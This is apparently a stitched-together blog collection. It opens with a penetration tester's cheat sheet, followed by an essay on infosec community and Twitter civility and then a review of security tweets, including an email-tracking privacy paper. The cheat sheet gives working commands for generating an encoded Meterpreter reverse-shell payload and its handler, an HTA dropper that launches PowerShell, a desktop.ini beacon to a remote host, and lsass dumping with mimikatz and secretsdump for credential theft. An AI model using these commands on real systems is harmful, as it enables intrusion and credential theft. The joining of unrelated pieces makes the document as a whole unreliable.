Use an existing virtualenv

source <directory>/bin/activate

Exit currently active virtualenv

deactivate

Wordlists

Kali built-in

/usr/share/wordlists/
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt.gz
├── sqlmap.txt -> /usr/share/sqlmap/txt/wordlist.txt
└── wfuzz -> /usr/share/wfuzz/wordlist

Seclists

https://github.com/danielmiessler/SecLists

Crackstation

https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

SSL/TLS interdiction evasion

DomainGain

Use to identify an expired domain categorized as a non-interdicted category (e.g., healthcare).

https://github.com/fullmetalcache/domainGain

Generating exploit payloads

Veil (the newer way)

https://github.com/Veil-Framework/

MSFVenom (the old way)

Generating a typical payload

msfvenom -f exe -e x86/shikata_ga_nai -a x64 -p windows/x64/meterpreter_reverse_https lhost=<ip> lport=<port> -i <count> -o <outputfile>

There are numerous ways to generate payloads.

MSFConsole

Creating a handler for the above payload

msfconsole
set payload windows/x64/meterpreter_reverse_https
set LHOST <ip>
set LPORT <port>

Settings for the handlers must match those of the payload.

Dropping payloads

Invoke-CradleCrafter

https://github.com/danielbohannon/Invoke-CradleCrafter

PS > Import-Module Invoke-CradleCrafter.ps1 && import-module Out-Cradle.ps1

Obfuscate all the things, drop into batch/hta/whatever.

HTA file dropper

<script language="VBScript">
    Sub a
        Set z = CreateObject("Wscript.Shell")
        command = "%systemroot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -noexit whatever"
        z.Run command
    End Sub
</script>
<body onload="a">

Privilege Escalation

PrivExchange

https://github.com/dirkjanm/PrivExchange

Post-exploitation

Windows

Internal Enumeration/Calling Card

Create subfolder of desired location. Inside created folder, create desktop.ini:

[.ShellClassInfo]
IconResource=\\%USERNAME%.%COMPUTERNAME%.%USERDOMAIN%.INI.subdomain.domain.tld\resource.dll

Note: Attempting to navigate into the new folder will result in hourglass since resource does not exist. Do not put desktop.ini in a high-traffic folder. Placing token will record traversal one level above, as well as into the new folder.

System/context Enumeration

whoami

hostname

ipconfig /displaydns

Service enumeration

net start

Service manipulation

net stop <servicename>

net start <servicename>

sc stop <servicename>

sc start <servicename>

ARP cache enumeration

arp -a

Credential gathering

Procdump

procdump[64].exe -accepteula -ma lsass.exe <outputfile>

Save the output file for parsing offline with mimikatz.

Mimikatz

privilege::debug

sekurlsa::logonPasswords full

Secretsdump.py

secretsdump.py -just-dc-ntlm <fulldomain</<user>@<ipaddress>

Various Pillaging

Extracting Files from .kbf (NTBackup) files

https://github.com/sjmurdoch/mtftar (works on Linux)

mtftar < backup.bkf | tar xvf -

More to come…

This, of course, is only part of the story, because every community is made up of people. Big companies, especially, often forget the more important part of their “human resources” is the human part. Infosec is a microcosm of every other part of humanity. Some of these people are politically left-leaning, some lean to the right, and some don’t fit cleanly in either extreme bucket and find themselves more to the middle. Some have lighter skin, some darker. Some believe in one god, others believe in a different one (or more), and others still no deity at all. Some are men, some are women, and some are non-binary. We are all people. We have identities, and most of us have a natural tendency toward tribalism in some form or other. We seek our “in group” that we can identify with, that we can feel is safely “us” as opposed to “them.” Traditionally, this has taken the form of spending significant amounts of time with a given group in order to belong. Social media has changed this profoundly. We can join groups quickly. We can identify with groups quickly.

There is nothing wrong with belonging to a group, or to many groups. It’s healthy to be involved with other people, to be exposed to differing points of view, other ways of thinking. To do otherwise is to be a hermit, or to operate in an echo chamber full of self-inflating ideas. It is good to have a sense of belonging, to know there are people who care about you and that there is help when you need it. From time to time we all need it. Sometimes we go through something truly challenging, that shakes us to our core, and having friendly ears to listen or shoulders to lean - or cry - on can be a literal life line. Sometimes we get so fed up with some challenge in our life that we need to vent it out to someone who can offer a compassionate ear. Sometimes we just have a “meh” day and like to waste some time with friends over a beer or a show or a video game. This is what community - any community, be it friends, family, colleagues, or a mix of these - is for.

Sometimes, though, we get mixed up. We get so wrapped up in the sense of belonging to a community that we forget the fact that we’re all individuals. That we all have lives and stories and experiences. We all have worth. We aren’t merely members of a community. We are members of a community, and we are individuals. We all bring something unique to the communities we are a part of. We define the communities, not the other way around. Sometimes we forget this. We can get so wrapped up in the goings-on of the community that we identify as that, rather than with it. It’s an important distinction. Words have meaning. They shape the way we form our own thoughts, and they shape the way others form thoughts about us, and what we say. “Hi, I’m vext, I’m a pentester,” is a different statement from “Hi, I’m vext, I do pentests.”

Why does this kind of nuance matter? Because sometimes we get lost in the groups we identify with. Sometimes we get carried away, and things get unhealthy, for us and for the groups. There are, I’m sure, groups that deliberately seek to bring this about, aiming to prey on the vulnerable and take advantage of them. To indoctrinate. Far more common, I’m sure, it happens all on its own, without the need for any shepherding. Whatever the cause, I’ve seen a lot of it. I’ve seen the vitriol that people hurl at each other, when they are standing up for their tribe against the other. I’ve seen it in political discussions, in matters of vocation, in matters of gender and race, of rockstars and those behind the scenes, of usses and thems.

Platforms like Twitter make it all too easy to fire off an angry message - short and without the room for any real nuance, thanks to character limits - without taking the time to think about it, first. There is no pause, no space for reflection on what impact the message might have. What repercussions may arise as a result. People re-tweet and like things that they find important, and the algorithms in the background filter and rank and display the things we are most likely to respond to. We might only see part of the story - maybe because we only follow one of the people involved, and Twitter only shows us that person’s tweets, out of context, or because somebody in the conversation is blocked, rendering them silent and deaf to the situation being discussed. It’s like some bizarrely choreographed, amplified version of high-school gossip, and it all too often becomes toxic. Sometimes the toxicity is from those perceived as oppressors, and sometimes it’s from those who consider themselves the oppressed. Sometimes there are real repercussions. Sometimes people get upset. Sometimes people lose their jobs. Sometimes people take their own life.

Social media is a tool, and like any other it can be used for good or bad. The purpose of it should be to communicate with others. To start conversations. To share ideas. To seek the truth and find ways to improve the things we care about. It’s ok to disagree, but civility is important. Trolls and arguments may be entertaining, but they don’t change minds. Conversations are the only way to actually communicate with those who disagree with us. If every encounter devolves into name-calling, ostracizing, and tantrums, we are all wasting a lot of time, effort and attention.

Another aspect of this post is a mea culpa, of sorts; while everything I have described above relates to witnessing the conversations of others, I am not immune to this issue. I’ve tweeted things that would have been better left untweeted (untwatten? untwote?). I intend to improve, in that regard. For my part, I intend to be more thoughtful, before I send a tweet; to consider my words, and what their result might be. I’m not afraid to offend someone, but neither do I want to cause undue harm, or be an irredeemable asshole. For my part, I will think before I tweet. I invite you to join me. May we have more meaningful conversations, and fewer clickbait flame wars, together.

These posts will be a hopefully regular probably sporadic review of interesting and informative tweets that have landed under my scope but which, as is often the case, I didn’t have time to delve into at the time. I will take a look at a hand full of tweets and related links and provide my own comments or observations.

Note: Some of these are quite old and even out of date. I’ve been building up my pile of saved tweets for a while now, and these posts start with the oldest based on when I saw them.

Tweet 1/5 - Windows Privilege Escalation Methods for Pentesters

@DanielX4v3r writes:

“Recommended reading - Windows Privilege Escalation Methods for Pentesters: https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ … by @pentestblog”

This blog post by Gokhan Sagoglu on @pentestblog (blog) is great in that it goes into some really granular and well-illustrated details of common privesc methods that are easy to find (such as with automated PowerView scans), but if you haven’t executed yourself, might be a bit opaque. @pentestblog doesn’t seem to be too active on Twitter lately, but the blog itself is still active and worth reading.

Tweet 2/5 - Nmap custom ports with script scans

@liamosaur writes:

“If you want an nmap script to run on a non-standard port, add a + before the script name, eg: nmap –script +mysql-enum -p 6666 x.x.x.x”

This is a great tip for using Nmap with more versatility than the default. A great example of this is running scans for heartbleed and shellshock on nonstandard ports; there are still a fair number of appliances and web services that don’t run on the typical port ranges for web that contain these vulnerabilities.

Tweet 3/5 - Getting the goods with CrackMapExec: Part 1

@L4bf0x writes: “One of my all-time fav tutorials for internals: https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html … by @byt3bl33d3r”

@byt3bl33d3r is a source of some really excellent information and tools in the pentesting/red teaming space. I’ve been following his work for some time and I’m always impressed. This is no exception, and though the ecosystem in security is changing rapidly, the insights in this post remain valid. The illustrative use of animated gifs to show commands running is also really excellent for the reader.

CrackMapExec is a tool I’ve been meaning to learn and put into use for some time. Now that I’ve made the time to do a bit of reading, this blog post by itself helps me better understand the tool and its functionality. Next step is to lab it up and get my hands dirty.

And of course there is a part 2.

Tweet 4/5 - Privacy implications of email tracking

@x0rz writes:

“Privacy implications of email tracking https://senglehardt.com/papers/pets18_email_tracking.pdf … (PDF)”

Privacy is a crucially important concept - and one that I feel most folks don’t think much about or take seriously enough. This is a great read authored by Steven Englehardt, Jeffrey Han, and Arvind Narayanan. I am including excepts from the piece here with my commentary, but you really should give the whole document a read. It’s only 18 pages and it has some excellent data analysis.

“… a network of hundreds of third parties that track email recipients via methods such as embedded pixels. About 30% of emails leak the recipient’s email address to one or more of these third parties when they are viewed.”

Think about that. Nearly a third of every email they analyzed had some sort of tracking mechanism in it. From a bare minimum pragmatic standpoint, those beacons reveal activity on the user’s email account, which could result in additional spammy messages coming in. In the most extreme of privacy implications, those beacons could put an individual at risk of their privacy or even personal safety (e.g., in the case of a political protester in a country without protected freedom of speech). The ubiquity of this technology use should concern us all. For further reading on this subject, I highly recommend another paper referenced in this one: Cookies That Give You Away: The Surveillance Implications of Web Tracking.

The authors “…present a set of heuristics to classify such leak-age as intentional or accidental (Section 4.1). Intentional leakage suggests a business relationship between the party sending the information and the party receiving it, whereas accidental leakage happens due to poor programming practices…”

This is excellent for the reader in helping to understand general rules of thumb regarding how their data is exposed, and whether that exposure is deliberate or not. The authors later go on to suggest systematic solutions to these challenges.

More interesting data, the authors “… find that 85% of emails in our corpus contain embedded third-party content, and 70% contain resources categorized as trackers by popular tracking-protection lists.”

This does not surprise me, and it raises the point of one of the significant challenges that users face in this space: the techniques that are described in the paper are considered “legitimate business” by many. Marketing and advertising are part and parcel of our modern economy. The problem with this it the very same techniques can be used maliciously (either by companies or criminals), and telling the two apart is challenging, at best.

The scale and the nature of the exposure is further described, in that out of over 12 thousand emails, the authors “… find that about 29% of emails leak the user’s email address to at least one third party, and about 19% of senders sent at least one email that had such a leak. The majority of these leaks (62%) are intentional, based on our heuristics. Tracking protection is helpful, but not perfect: it reduces the number of email leaks by 87%.”

I know a fair amount about web tracking and email tracking, but one specific finding that was surprising to me was that the authors “… observe some tracking images which redirect to new domains upon every subsequent reload of the same email.” This is an interesting and advanced wrinkle in the overall tracking landscape that I had never considered before. It makes sense, though, as there may be value in determining if a reader views the same message multiple times.

Tweet 5/5 - Windows Privilege Escalation Methods for Pentesters

@thegrugq writes:

“Know your hacker. [Link to article]”

As are most from thegrugq, this is a good article. I am biased as a pentester, and I don’t agree 100% with his pigeon-holing structure (specifically, lumping red team in with pentesters, since there is a difference that has become more and more clear in the last couple years). Also, I wish I had 2 weeks of testing, per thegrugq’s comment: “Finally, those guys are fast. They have two weeks to work and they hardly need it before they have DA.”

That said, I 100% agree with thegrugq’s conclusion to the pentester section: “Clients who do not scope a project to make pentester intent mimic malicious actor intent are not getting value from their services.” This is also a burden on the pentester companies. If a pentest company is not helping their client to scope an engagement to mimic real world scenarios and risks, that company is failing their client. In his conclusion, thegrugq does go on to add that “Good pen test teams will rise to the challenge and supply the sort of assessment that actually generates value.”

As a last bonus, ASM is my new favorite acronym :D